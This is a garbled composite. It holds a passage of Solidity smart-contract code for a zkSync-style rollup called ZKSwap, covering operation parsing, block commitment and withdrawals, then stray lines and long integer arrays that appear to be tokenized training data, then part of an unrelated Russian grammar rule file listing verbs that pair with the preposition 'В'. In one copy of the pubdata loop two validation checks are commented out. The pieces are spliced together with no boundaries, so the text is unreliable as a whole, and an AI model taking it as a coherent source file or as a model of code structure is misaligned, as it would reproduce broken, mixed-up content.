CHANGE_PUBKEY_BYTES; } else if (opType == Operations.OpType.CreatePair) { bytes memory pubData = Bytes.slice(_publicData, pubdataOffset + 1, CREATE_PAIR_BYTES - 1); Operations.CreatePair memory createPairData = Operations.readCreatePairPubdata(pubData); emitCreatePairCommitEvent(_blockNumber, createPairData); OnchainOperation memory onchainOp = OnchainOperation( Operations.OpType.CreatePair, pubData ); commitNextPriorityOperation(onchainOp, currentPriorityRequestId); currentPriorityRequestId++; pubDataPtr += CREATE_PAIR_BYTES; } else { revert("fpp14"); // unsupported op } } } require(pubDataPtr == pubDataEndPtr, "fcs12"); // last chunk exceeds pubdata require(ethWitnessOffset == _ethWitness.length, "fcs14"); // _ethWitness was not used completely require(processedOperationsRequiringEthWitness == _ethWitnessSizes.length, "fcs15"); // _ethWitnessSizes was not used completely require(currentPriorityRequestId <= firstPriorityRequestId + totalOpenPriorityRequests, "fcs16"); // fcs16 - excess priority requests in pubdata totalCommittedPriorityRequests = currentPriorityRequestId - firstPriorityRequestId; } /// @notice Gets operations packed in bytes array. Unpacks it and stores onchain operations. /// @param _blockInfo: 1/ _blockNumber Franklin block number 2/ _ethWitnessSizesOffset /// @param _publicData Operations packed in bytes array /// @param _ethWitness Eth witness that was posted with commit /// @param _ethWitnessSizes Amount of eth witness bytes for the corresponding operation. /// Priority operations must be committed in the same order as they are in the priority queue. function collectOnchainMultiOps(uint32[2] memory _blockInfo, bytes memory _publicData, bytes memory _ethWitness, uint32[] memory _ethWitnessSizes) internal returns (bytes32 withdrawalsDataHash) { require(_publicData.length % CHUNK_BYTES == 0, "fcs11"); // pubdata length must be a multiple of CHUNK_BYTES uint64 currentPriorityRequestId = firstPriorityRequestId + totalCommittedPriorityRequests; uint256 pubDataPtr = 0; uint256 pubDataStartPtr = 0; uint256 pubDataEndPtr = 0; assembly { pubDataStartPtr := add(_publicData, 0x20) } pubDataPtr = pubDataStartPtr; pubDataEndPtr = pubDataStartPtr + _publicData.length; uint64 ethWitnessOffset = 0; uint32 processedOperationsRequiringEthWitness = _blockInfo[1]; withdrawalsDataHash = EMPTY_STRING_KECCAK; uint32 _blockNumber = _blockInfo[0]; while (pubDataPtr < pubDataEndPtr) { Operations.OpType opType; // read operation type from public data (the first byte per each operation) assembly { opType := shr(0xf8, mload(pubDataPtr)) } // cheap operations processing if (opType == Operations.OpType.Transfer) { pubDataPtr += TRANSFER_BYTES; } else if (opType == Operations.OpType.Noop) { pubDataPtr += NOOP_BYTES; } else if (opType == Operations.OpType.TransferToNew) { pubDataPtr += TRANSFER_TO_NEW_BYTES; } else if (opType == Operations.OpType.AddLiquidity || opType == Operations.OpType.RemoveLiquidity) { pubDataPtr += UNISWAP_ADD_RM_LIQ_BYTES; } else if (opType == Operations.OpType.Swap) { pubDataPtr += UNISWAP_SWAP_BYTES; } else { // other operations processing // calculation of public data offset uint256 pubdataOffset = pubDataPtr - pubDataStartPtr; if (opType == Operations.OpType.Deposit) { bytes memory pubData = Bytes.slice(_publicData, pubdataOffset + 1, DEPOSIT_BYTES - 1); Operations.Deposit memory depositData = Operations.readDepositPubdata(pubData); emitDepositCommitEvent(_blockNumber, depositData); OnchainOperation memory onchainOp = OnchainOperation( Operations.OpType.Deposit, pubData ); commitNextPriorityOperation(onchainOp, currentPriorityRequestId); currentPriorityRequestId++; pubDataPtr += DEPOSIT_BYTES; } else if (opType == Operations.OpType.PartialExit) { Operations.PartialExit memory data = Operations.readPartialExitPubdata(_publicData, pubdataOffset + 1); bool addToPendingWithdrawalsQueue = true; withdrawalsDataHash = keccak256(abi.encode(withdrawalsDataHash, addToPendingWithdrawalsQueue, data.owner, data.tokenId, data.amount)); pubDataPtr += PARTIAL_EXIT_BYTES; } else if (opType == Operations.OpType.FullExit) { bytes memory pubData = Bytes.slice(_publicData, pubdataOffset + 1, FULL_EXIT_BYTES - 1); Operations.FullExit memory fullExitData = Operations.readFullExitPubdata(pubData); emitFullExitCommitEvent(_blockNumber, fullExitData); bool addToPendingWithdrawalsQueue = false; withdrawalsDataHash = keccak256(abi.encode(withdrawalsDataHash, addToPendingWithdrawalsQueue, fullExitData.owner, fullExitData.tokenId, fullExitData.amount)); OnchainOperation memory onchainOp = OnchainOperation( Operations.OpType.FullExit, pubData ); commitNextPriorityOperation(onchainOp, currentPriorityRequestId); currentPriorityRequestId++; pubDataPtr += FULL_EXIT_BYTES; } else if (opType == Operations.OpType.ChangePubKey) { require(processedOperationsRequiringEthWitness < _ethWitnessSizes.length, "fcs13"); // eth witness data malformed Operations.ChangePubKey memory op = Operations.readChangePubKeyPubdata(_publicData, pubdataOffset + 1); if (_ethWitnessSizes[processedOperationsRequiringEthWitness] != 0) { bytes memory currentEthWitness = Bytes.slice(_ethWitness, ethWitnessOffset, _ethWitnessSizes[processedOperationsRequiringEthWitness]); bool valid = verifyChangePubkeySignature(currentEthWitness, op.pubKeyHash, op.nonce, op.owner, op.accountId); require(valid, "fpp15"); // failed to verify change pubkey hash signature } else { bool valid = authFacts[op.owner][op.nonce] == keccak256(abi.encodePacked(op.pubKeyHash)); require(valid, "fpp16"); // new pub key hash is not authenticated properly } ethWitnessOffset += _ethWitnessSizes[processedOperationsRequiringEthWitness]; processedOperationsRequiringEthWitness++; pubDataPtr += CHANGE_PUBKEY_BYTES; } else if (opType == Operations.OpType.CreatePair) { bytes memory pubData = Bytes.slice(_publicData, pubdataOffset + 1, CREATE_PAIR_BYTES - 1); Operations.CreatePair memory createPairData = Operations.readCreatePairPubdata(pubData); emitCreatePairCommitEvent(_blockNumber, createPairData); OnchainOperation memory onchainOp = OnchainOperation( Operations.OpType.CreatePair, pubData ); commitNextPriorityOperation(onchainOp, currentPriorityRequestId); currentPriorityRequestId++; pubDataPtr += CREATE_PAIR_BYTES; } else { revert("fpp14"); // unsupported op } } } require(pubDataPtr == pubDataEndPtr, "fcs12"); // last chunk exceeds pubdata //require(ethWitnessOffset == _ethWitness.length, "fcs14"); // _ethWitness was not used completely //require(processedOperationsRequiringEthWitness == _ethWitnessSizes.length, "fcs15"); // _ethWitnessSizes was not used completely require(currentPriorityRequestId <= firstPriorityRequestId + totalOpenPriorityRequests, "fcs16"); // fcs16 - excess priority requests in pubdata totalCommittedPriorityRequests = currentPriorityRequestId - firstPriorityRequestId; } /// @notice Checks that signature is valid for pubkey change message /// @param _signature Signature /// @param _newPkHash New pubkey hash /// @param _nonce Nonce used for message /// @param _ethAddress Account's ethereum address /// @param _accountId Id of zkSync account function verifyChangePubkeySignature(bytes memory _signature, bytes20 _newPkHash, uint32 _nonce, address _ethAddress, uint32 _accountId) internal pure returns (bool) { bytes memory signedMessage = abi.encodePacked( "\x19Ethereum Signed Message:\n152", "Register ZKSwap pubkey:\n\n", Bytes.bytesToHexASCIIBytes(abi.encodePacked(_newPkHash)), "\n", "nonce: 0x", Bytes.bytesToHexASCIIBytes(Bytes.toBytesFromUInt32(_nonce)), "\n", "account id: 0x", Bytes.bytesToHexASCIIBytes(Bytes.toBytesFromUInt32(_accountId)), "\n\n", "Only sign this message for a trusted client!" ); address recoveredAddress = Utils.recoverAddressFromEthSignature(_signature, signedMessage); return recoveredAddress == _ethAddress; } /// @notice Creates block commitment from its data /// @param _blockNumber Block number /// @param _feeAccount Account to collect fees /// @param _oldRoot Old tree root /// @param _newRoot New tree root /// @param _publicData Operations pubdata /// @return block commitment function createBlockCommitment( uint32 _blockNumber, uint32 _feeAccount, bytes32 _oldRoot, bytes32 _newRoot, bytes memory _publicData ) internal view returns (bytes32 commitment) { bytes32 hash = sha256( abi.encodePacked(uint256(_blockNumber), uint256(_feeAccount)) ); hash = sha256(abi.encodePacked(hash, uint256(_oldRoot))); hash = sha256(abi.encodePacked(hash, uint256(_newRoot))); /// The code below is equivalent to `commitment = sha256(abi.encodePacked(hash, _publicData))` /// We use inline assembly instead of this concise and readable code in order to avoid copying of `_publicData` (which saves ~90 gas per transfer operation). /// Specifically, we perform the following trick: /// First, replace the first 32 bytes of `_publicData` (where normally its length is stored) with the value of `hash`. /// Then, we call `sha256` precompile passing the `_publicData` pointer and the length of the concatenated byte buffer. /// Finally, we put the `_publicData.length` back to its original location (to the first word of `_publicData`). assembly { let hashResult := mload(0x40) let pubDataLen := mload(_publicData) mstore(_publicData, hash) // staticcall to the sha256 precompile at address 0x2 let success := staticcall( gas, 0x2, _publicData, add(pubDataLen, 0x20), hashResult, 0x20 ) mstore(_publicData, pubDataLen) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } commitment := mload(hashResult) } } /// @notice Checks that operation is same as operation in priority queue /// @param _onchainOp The operation /// @param _priorityRequestId Operation's id in priority queue function commitNextPriorityOperation(OnchainOperation memory _onchainOp, uint64 _priorityRequestId) internal view { Operations.OpType priorReqType = priorityRequests[_priorityRequestId].opType; bytes memory priorReqPubdata = priorityRequests[_priorityRequestId].pubData; require(priorReqType == _onchainOp.opType, "nvp12"); // incorrect priority op type if (_onchainOp.opType == Operations.OpType.Deposit) { require(Operations.depositPubdataMatch(priorReqPubdata, _onchainOp.pubData), "vnp13"); } else if (_onchainOp.opType == Operations.OpType.FullExit) { require(Operations.fullExitPubdataMatch(priorReqPubdata, _onchainOp.pubData), "vnp14"); } else if (_onchainOp.opType == Operations.OpType.CreatePair) { require(Operations.createPairPubdataMatch(priorReqPubdata, _onchainOp.pubData), "vnp15"); } else { revert("vnp16"); // invalid or non-priority operation } } /// @notice Processes onchain withdrawals. Full exit withdrawals will not be added to pending withdrawals queue /// @dev NOTICE: must process only withdrawals which hash matches with expectedWithdrawalsDataHash. /// @param withdrawalsData Withdrawals data /// @param expectedWithdrawalsDataHash Expected withdrawals data hash function processOnchainWithdrawals(bytes memory withdrawalsData, bytes32 expectedWithdrawalsDataHash) internal { require(withdrawalsData.length % ONCHAIN_WITHDRAWAL_BYTES == 0, "pow11"); // pow11 - withdrawalData length is not multiple of ONCHAIN_WITHDRAWAL_BYTES bytes32 withdrawalsDataHash = EMPTY_STRING_KECCAK; uint offset = 0; uint32 localNumberOfPendingWithdrawals = numberOfPendingWithdrawals; while (offset < withdrawalsData.length) { (bool addToPendingWithdrawalsQueue, address _to, uint16 _tokenId, uint128 _amount) = Operations.readWithdrawalData(withdrawalsData, offset); bytes22 packedBalanceKey = packAddressAndTokenId(_to, _tokenId); uint128 balance = balancesToWithdraw[packedBalanceKey].balanceToWithdraw; // after this all writes to this slot will cost 5k gas balancesToWithdraw[packedBalanceKey] = BalanceToWithdraw({ balanceToWithdraw: balance.add(_amount), gasReserveValue: 0xff }); if (addToPendingWithdrawalsQueue) { pendingWithdrawals[firstPendingWithdrawalIndex + localNumberOfPendingWithdrawals] = PendingWithdrawal(_to, _tokenId); localNumberOfPendingWithdrawals++; } withdrawalsDataHash = keccak256(abi.encode(withdrawalsDataHash, addToPendingWithdrawalsQueue, _to, _tokenId, _amount)); offset += ONCHAIN_WITHDRAWAL_BYTES; } require(withdrawalsDataHash == expectedWithdrawalsDataHash, "pow12"); // pow12 - withdrawals data hash not matches with expected value if (numberOfPendingWithdrawals != localNumberOfPendingWithdrawals) { emit PendingWithdrawalsAdd(firstPendingWithdrawalIndex + numberOfPendingWithdrawals, firstPendingWithdrawalIndex + localNumberOfPendingWithdrawals); } numberOfPendingWithdrawals = localNumberOfPendingWithdrawals; } /// @notice Checks whether oldest unverified block has expired /// @return bool flag that indicates whether oldest unverified block has expired function isBlockCommitmentExpired() internal view returns (bool) { return ( totalBlocksCommitted > totalBlocksVerified && blocks[totalBlocksVerified + 1].committedAtBlock > 0 && block.number > blocks[totalBlocksVerified + 1].committedAtBlock + EXPECT_VERIFICATION_IN ); } /// @notice Checks that current state not is exodus mode function requireActive() internal view { require(!exodusMode, "fre11"); // exodus mode activated } /// @notice Deletes processed priority requests /// @param _number The number of requests function deleteRequests(uint64 _number) internal { require(_number <= totalOpenPriorityRequests, "pcs21"); // number is higher than total priority requests number uint64 numberOfRequestsToClear = Utils.minU64(_number, MAX_PRIORITY_REQUESTS_TO_DELETE_IN_VERIFY); uint64 startIndex = firstPriorityRequestId; for (uint64 i = startIndex; i < startIndex + numberOfRequestsToClear; i++) { delete priorityRequests[i]; } totalOpenPriorityRequests -= _number; firstPriorityRequestId += _number; totalCommittedPriorityRequests -= _number; } // The contract is too large. Break some functions to zkSyncExitAddress function() external payable { address nextAddress = zkSyncExitAddress; require(nextAddress != address(0), "zkSyncExitAddress should be set"); // Execute external function from facet using delegatecall and return any value. assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), nextAddress, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } }
last chunk exceeds pubdata
require(pubDataPtr == pubDataEndPtr, "fcs12");
930,318
[ 1, 2722, 2441, 14399, 5634, 892, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 10174, 751, 5263, 422, 5634, 751, 1638, 5263, 16, 315, 74, 2143, 2138, 8863, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Сочетаемость глаголов (и отглагольных частей речи) с предложным // паттерном. // LC->07.08.2018 facts гл_предл language=Russian { arity=3 //violation_score=-5 generic return=boolean } #define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{} #region Предлог_В // ------------------- С ПРЕДЛОГОМ 'В' --------------------------- #region Предложный // Глаголы и отглагольные части речи, присоединяющие // предложное дополнение с предлогом В и сущ. в предложном падеже. wordentry_set Гл_В_Предл = { rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль // вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб rus_verbs:воевать{}, // Воевал во Франции. rus_verbs:устать{}, // Устали в дороге? rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения. rus_verbs:решить{}, // Что решат в правительстве? rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает. rus_verbs:обстоять{}, // В действительности же дело обстояло не так. rus_verbs:подыматься{}, rus_verbs:поехать{}, // поедем в такси! rus_verbs:уехать{}, // он уехал в такси rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей rus_verbs:ОБЛАЧИТЬ{}, rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло. rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ) rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ) rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ) rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ) rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ) rus_verbs:ЗАМАЯЧИТЬ{}, rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ) rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ) rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ) rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ) rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ) rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ) rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ) rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ) rus_verbs:ПоТЕРЯТЬ{}, rus_verbs:УТЕРЯТЬ{}, rus_verbs:РАСТЕРЯТЬ{}, rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.) rus_verbs:СОМКНУТЬСЯ{}, rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ) rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ) rus_verbs:ВЫСТОЯТЬ{}, rus_verbs:ПОСТОЯТЬ{}, rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ) rus_verbs:ВЗВЕШИВАТЬ{}, rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ) прилагательное:быстрый{}, // Кисель быстр в приготовлении rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень rus_verbs:призывать{}, rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ) rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ) rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ) rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ) rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ) rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ) rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ) rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ) rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ) rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ) rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ) rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ) rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ) rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ) rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ) rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ) rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ) rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ) rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ) rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ) rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ) rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ) rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ) rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ) rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ) rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ) rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ) rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ) инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан глагол:проводить{ вид:несоверш }, деепричастие:проводя{}, rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл) rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл) rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл) rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл) rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл) rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл) rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл) rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл) rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл) rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл) rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл) rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл) rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл) rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл) rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл) прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В) rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл) rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл) rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл) rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл) rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл) rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл) rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл) rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл) rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В) rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В) rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл) rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В) rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл) rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл) rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В) rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл) rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл) rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В) rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл) rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В) rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В) rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В) rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата 